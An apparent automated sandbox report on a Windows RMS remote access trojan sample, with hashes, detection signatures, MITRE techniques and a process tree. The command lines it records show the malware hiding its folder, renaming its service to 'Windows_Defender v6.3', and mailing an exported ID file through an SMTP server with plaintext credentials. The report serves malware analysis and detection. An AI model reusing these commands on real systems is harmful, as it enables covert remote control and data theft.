rms | a151e201eef789f2f07854f967286de25a1ceeef7657e0c5e6b655af12e23ca5

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26/08/2024, 11:30

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General

Target
c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
Size 4.5MB
Sample240826-nl46pasfjr
SHA256 a151e201eef789f2f07854f967286de25a1ceeef7657e0c5e6b655af12e23ca5
MD5 c2e68d0204a75aa1f1f0615ec8883a67
SHA1 847dc490286760dd92fa8b95946c283ff4b0032e
SHA512 3653a2eb66c8a96905d223a7ec7d7e997fb3bcfa2cd626a05e12ee2a23b7bfa1ef89dc9205934c38e47e58030d0318e063fe8ce806cb2397f7bec78428508b39
SSDEEP 98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5C1:HS7KQrLM/RzYI7Da4Im
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rms aspackv2 discovery evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
3952	attrib.exe
4860	attrib.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x00080000000233a1-25.dat	acprotect
behavioral2/files/0x000800000002339f-24.dat	acprotect

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000c0000000233a9-23.dat	aspack_v212_v242
behavioral2/files/0x00080000000233a2-22.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 8 IoCs

pid	Process
384	rutserv.exe
1520	rutserv.exe
4740	rutserv.exe
4416	rutserv.exe
4872	rfusclient.exe
5036	rfusclient.exe
2872	rfusclient.exe
3080	mailsend.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00080000000233a1-25.dat	upx
behavioral2/files/0x000800000002339f-24.dat	upx

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	attrib.exe
File created	C:\Program Files (x86)\System\install.vbs	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\vp8encoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rfusclient.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\regedit.reg	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_240616906	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\Common Files\System	attrib.exe
File created	C:\Program Files (x86)\System\rutserv.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\mailsend.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File created	C:\Program Files (x86)\System\install.bat	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	attrib.exe
File created	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	attrib.exe
File created	C:\Program Files (x86)\System\vp8decoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4908	sc.exe
1612	sc.exe
3216	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mailsend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
2988	timeout.exe
1384	timeout.exe
3976	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2652	taskkill.exe
432	taskkill.exe
4200	taskkill.exe
1996	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe

Runs .reg file with regedit 1 IoCs

pid	Process
4180	regedit.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
384	rutserv.exe
384	rutserv.exe
384	rutserv.exe
384	rutserv.exe
384	rutserv.exe
384	rutserv.exe
1520	rutserv.exe
1520	rutserv.exe
4740	rutserv.exe
4740	rutserv.exe
4416	rutserv.exe
4416	rutserv.exe
4416	rutserv.exe
4416	rutserv.exe
4416	rutserv.exe
4416	rutserv.exe
4872	rfusclient.exe
4872	rfusclient.exe
3080	mailsend.exe
3080	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
2872	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	taskkill.exe
Token: SeDebugPrivilege	1996	taskkill.exe
Token: SeDebugPrivilege	2652	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	384	rutserv.exe
Token: SeDebugPrivilege	4740	rutserv.exe
Token: SeTakeOwnershipPrivilege	4416	rutserv.exe
Token: SeTcbPrivilege	4416	rutserv.exe
Token: SeTcbPrivilege	4416	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
384	rutserv.exe
1520	rutserv.exe
4740	rutserv.exe
4416	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 5056	3672	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	87
PID 3672 wrote to memory of 5056	3672	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	87
PID 3672 wrote to memory of 5056	3672	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	87
PID 5056 wrote to memory of 2036	5056	WScript.exe	88
PID 5056 wrote to memory of 2036	5056	WScript.exe	88
PID 5056 wrote to memory of 2036	5056	WScript.exe	88
PID 2036 wrote to memory of 3952	2036	cmd.exe	90
PID 2036 wrote to memory of 3952	2036	cmd.exe	90
PID 2036 wrote to memory of 3952	2036	cmd.exe	90
PID 2036 wrote to memory of 4860	2036	cmd.exe	91
PID 2036 wrote to memory of 4860	2036	cmd.exe	91
PID 2036 wrote to memory of 4860	2036	cmd.exe	91
PID 2036 wrote to memory of 4200	2036	cmd.exe	92
PID 2036 wrote to memory of 4200	2036	cmd.exe	92
PID 2036 wrote to memory of 4200	2036	cmd.exe	92
PID 2036 wrote to memory of 1996	2036	cmd.exe	94
PID 2036 wrote to memory of 1996	2036	cmd.exe	94
PID 2036 wrote to memory of 1996	2036	cmd.exe	94
PID 2036 wrote to memory of 2652	2036	cmd.exe	95
PID 2036 wrote to memory of 2652	2036	cmd.exe	95
PID 2036 wrote to memory of 2652	2036	cmd.exe	95
PID 2036 wrote to memory of 432	2036	cmd.exe	96
PID 2036 wrote to memory of 432	2036	cmd.exe	96
PID 2036 wrote to memory of 432	2036	cmd.exe	96
PID 2036 wrote to memory of 4504	2036	cmd.exe	97
PID 2036 wrote to memory of 4504	2036	cmd.exe	97
PID 2036 wrote to memory of 4504	2036	cmd.exe	97
PID 2036 wrote to memory of 4180	2036	cmd.exe	98
PID 2036 wrote to memory of 4180	2036	cmd.exe	98
PID 2036 wrote to memory of 4180	2036	cmd.exe	98
PID 2036 wrote to memory of 1384	2036	cmd.exe	99
PID 2036 wrote to memory of 1384	2036	cmd.exe	99
PID 2036 wrote to memory of 1384	2036	cmd.exe	99
PID 2036 wrote to memory of 384	2036	cmd.exe	100
PID 2036 wrote to memory of 384	2036	cmd.exe	100
PID 2036 wrote to memory of 384	2036	cmd.exe	100
PID 2036 wrote to memory of 1520	2036	cmd.exe	101
PID 2036 wrote to memory of 1520	2036	cmd.exe	101
PID 2036 wrote to memory of 1520	2036	cmd.exe	101
PID 2036 wrote to memory of 4740	2036	cmd.exe	102
PID 2036 wrote to memory of 4740	2036	cmd.exe	102
PID 2036 wrote to memory of 4740	2036	cmd.exe	102
PID 4416 wrote to memory of 4872	4416	rutserv.exe	106
PID 4416 wrote to memory of 4872	4416	rutserv.exe	106
PID 4416 wrote to memory of 4872	4416	rutserv.exe	106
PID 4416 wrote to memory of 5036	4416	rutserv.exe	107
PID 4416 wrote to memory of 5036	4416	rutserv.exe	107
PID 4416 wrote to memory of 5036	4416	rutserv.exe	107
PID 2036 wrote to memory of 1612	2036	cmd.exe	108
PID 2036 wrote to memory of 1612	2036	cmd.exe	108
PID 2036 wrote to memory of 1612	2036	cmd.exe	108
PID 2036 wrote to memory of 3216	2036	cmd.exe	109
PID 2036 wrote to memory of 3216	2036	cmd.exe	109
PID 2036 wrote to memory of 3216	2036	cmd.exe	109
PID 2036 wrote to memory of 4908	2036	cmd.exe	111
PID 2036 wrote to memory of 4908	2036	cmd.exe	111
PID 2036 wrote to memory of 4908	2036	cmd.exe	111
PID 2036 wrote to memory of 3976	2036	cmd.exe	112
PID 2036 wrote to memory of 3976	2036	cmd.exe	112
PID 2036 wrote to memory of 3976	2036	cmd.exe	112
PID 4872 wrote to memory of 2872	4872	rfusclient.exe	114
PID 4872 wrote to memory of 2872	4872	rfusclient.exe	114
PID 4872 wrote to memory of 2872	4872	rfusclient.exe	114
PID 2036 wrote to memory of 3212	2036	cmd.exe	130

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4940	attrib.exe
4876	attrib.exe
3320	attrib.exe
2652	attrib.exe
4444	attrib.exe
3952	attrib.exe
4860	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\System\install.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3952
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4860
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4200
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2652
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:432
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4504
  - - C:\Windows\SysWOW64\regedit.exe
      regedit /s "regedit.reg"
      4⤵
      System Location Discovery: System Language Discovery
      Runs .reg file with regedit
      PID:4180
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1384
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /silentinstall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:384
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /firewall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1520
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /start
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4740
  - - C:\Windows\SysWOW64\sc.exe
      sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1612
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService obj= LocalSystem type= interact type= own
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3216
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService DisplayName= "Windows_Defender v6.3"
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4908
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 120
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:3976
  - - C:\Windows\SysWOW64\reg.exe
      reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:3212
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2988
  - - C:\Program Files (x86)\System\mailsend.exe
      mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.yandex.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user liurov02 -pass brawlstars33 -q
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3080
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4940
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4876
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3320
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2652
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4444

C:\Program Files (x86)\System\rutserv.exe
"C:\Program Files (x86)\System\rutserv.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Program Files (x86)\System\rfusclient.exe
    "C:\Program Files (x86)\System\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:2872
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

install.bat

Path C:\Program Files (x86)\System\install.bat
Size 1KB
SHA256 a610273887ddabe5cf0c560672d4669d5022c74ded2e89aa97a988c11311acdb
MD5 c6e01f51df0c9ac47265b9c29b6ee7a7
SHA1 3bc0f86e02bfe9c9090227681241cb2b49858831
SHA512 9ebb76017395032a95b59eaab1e2ac320601fddb4fc521409646cd6b86a456837ad0900595e065b39a51f429848574e5021409dbc42edd114260273cb44ff4c5
MD5 SHA1 SHA512

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install.vbs

Path C:\Program Files (x86)\System\install.vbs
Size 120B
SHA256 2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f
MD5 c719a030434d3fa96d62868f27e904a6
SHA1 f2f750a752dd1fda8915a47b082af7cf2d3e3655
SHA512 47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0
MD5 SHA1 SHA512

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mailsend.exe

Path C:\Program Files (x86)\System\mailsend.exe
Size 1.2MB
SHA256 80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4
MD5 ac23b87f8ec60ddd3f555556f89a6af8
SHA1 3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c
SHA512 57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167
SSDEEP 24576:btFzJSQ3AVIO/GwZtABtUyYM7xE+ZHDs2kfVL/ry3aPC1fMDYv:5DA9/GWMbwLfR/rQaPEfMDYv
MD5 SHA1 SHA512 SSDEEP

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regedit.reg

Path C:\Program Files (x86)\System\regedit.reg
Size 12KB
SHA256 f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb
MD5 251212852a073e6fc5fbe3af92f66adb
SHA1 6ee07cb20f57830325c11867e68fea49ae0e87ea
SHA512 f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be
SSDEEP 192:PX7frQHvJDzF/aQBeDUnQbwCUuq+3SJLfWIhgQ:PrfrYh9iynQbwCUDDqQ
MD5 SHA1 SHA512 SSDEEP

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rfusclient.exe

Path C:\Program Files (x86)\System\rfusclient.exe
Size 1.5MB
SHA256 dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9
MD5 b8667a1e84567fcf7821bcefb6a444af
SHA1 9c1f91fe77ad357c8f81205d65c9067a270d61f0
SHA512 ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852
SSDEEP 24576:LmtNckat5iowNcaT4yywIC6FOyVHJUlLizuc1fDBYQ5wxiJcBysyVKICnRZcMAkT:Gac49CWOyVpwiKmf5PCByscKIqAriN
MD5 SHA1 SHA512 SSDEEP

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rutserv.exe

Path C:\Program Files (x86)\System\rutserv.exe
Size 1.7MB
SHA256 1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6
MD5 37a8802017a212bb7f5255abc7857969
SHA1 cb10c0d343c54538d12db8ed664d0a1fa35b6109
SHA512 4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0
SSDEEP 24576:QwgmWJkITwoQx/kSnnCvTH2RxOhMJdDvvsrkKxYRlbsk2sMiVlgi8MgEZv6l:jQ3TwVxMSnTRx/vvOfSRlb1718Mgp
MD5 SHA1 SHA512 SSDEEP

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vp8decoder.dll

Path C:\Program Files (x86)\System\vp8decoder.dll
Size 155KB
SHA256 4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74
MD5 88318158527985702f61d169434a4940
SHA1 3cc751ba256b5727eb0713aad6f554ff1e7bca57
SHA512 5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff
SSDEEP 3072:I8S5PNJE4Ss7ptJXlU5iqiHQZ7LsIS3MBkfcehhhhhhEucP6dSnf1xESFeEkyBDi:IBNJEUvXlUYkZ75BkfcehhhhhhwP6wno
MD5 SHA1 SHA512 SSDEEP

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vp8encoder.dll

Path C:\Program Files (x86)\System\vp8encoder.dll
Size 593KB
SHA256 81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172
MD5 6298c0af3d1d563834a218a9cc9f54bd
SHA1 0185cd591e454ed072e5a5077b25c612f6849dc9
SHA512 389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe
SSDEEP 12288:ojSJ4/V1DY5m6VVXX39MdcAjrI/S3QIpFlGODn6blBaqUVVryazw:KH/XY5PVpX3y9E/SRFJczaqUPpw
MD5 SHA1 SHA512 SSDEEP

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REG8766.tmp

Path C:\Users\Admin\AppData\Local\Temp\REG8766.tmp
Size 20KB
SHA256 57c08d7887c93fad9f3ebccd07808f984dd5b291ad42acc3263e17fe43283bd4
MD5 ad06ea5dab2002ee92e222fce2861869
SHA1 147420fd97f35523b9072fd71b86a9b33d8e46fb
SHA512 93fb723715436e178fca2db1b73c02ffb447a7007f87b948dd287d6ec72d3a89a82f7a7393b30acbbb082d5242866840e83c5a5bc6066ec3665fa544685f36f2
SSDEEP 384:4rdUzriLc0TL62f5ekUmCLCJ1j6kpETt5aENBJsjxqTIpBpG7PRmH6eq6GPr:ydUfiLc0TGL6GPr
MD5 SHA1 SHA512 SSDEEP

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memory/384-31-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/384-28-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/384-30-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/384-32-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/384-34-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/384-27-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/384-29-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/1520-41-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/1520-37-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/1520-36-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/1520-40-0x0000000000400000-0x0000000000AB9000-memory.dmp

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memory/1520-43-0x0000000000400000-0x0000000000AB9000-memory.dmp

